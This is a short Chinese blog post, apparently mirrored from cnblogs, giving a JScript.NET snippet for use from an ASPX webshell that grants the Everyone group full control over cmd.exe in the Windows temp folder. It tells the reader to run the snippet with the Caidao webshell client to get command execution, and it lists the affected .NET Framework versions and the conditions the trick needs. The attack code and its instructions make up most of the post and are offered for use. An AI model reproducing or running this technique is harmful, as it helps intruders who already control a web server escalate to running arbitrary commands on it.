zoukankan      html  css  js  c++  java
  • aspxshell下突破无可写可执行目录执行cmd

    try
    {
    
    var strPath:String = "c:\windows\temp\cmd.exe", strUser:String = "everyone";
    var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);
    
    var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();
    
    dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,
        System.Security.AccessControl.FileSystemRights.FullControl,
        System.Security.AccessControl.AccessControlType.Allow));
    
    dirinfo.SetAccessControl(dirsecurity);
    Response.Write(strPath+"	权限添加成功!");
    
    }catch(x){Response.Write(x.Message);}
    

      保存为cmd.ccc,使用菜刀自写脚本运行即可突破

    受影响的版本为:

    Microsoft .NET Framework 2.0 

    Microsoft .NET Framework 3.5

    Microsoft .NET Framework 3.5.1

    Microsoft .NET Framework 4

    Microsoft .NET Framework 4.5

    Microsoft .NET Framework 4.5.1

    利用条件:

    1.需要支持aspx并且高于Microsoft .NET Framework 1.14版本

    2.安全模式除外(现在还没有能突破.net安全模式的方法)

    漏洞说明:该漏洞可直接赋予文件权限(让没权限的文件执行)

  • 相关阅读:
    随记
    bzoj3551 [ONTAK2010]Peaks加强版
    bzoj2763 [JLOI2011]飞行路线
    bzoj1758 [Wc2010]重建计划
    bzoj1857 [Scoi2010]传送带
    bzoj4519 [Cqoi2016]不同的最小割
    bzoj2229 [Zjoi2011]最小割
    bzoj4129 Haruna’s Breakfast
    bzoj1835 [ZJOI2010] 基站选址
    bzoj2160 拉拉队排练
  • 原文地址:https://www.cnblogs.com/hookjoy/p/4614337.html
Copyright © 2011-2022 走看看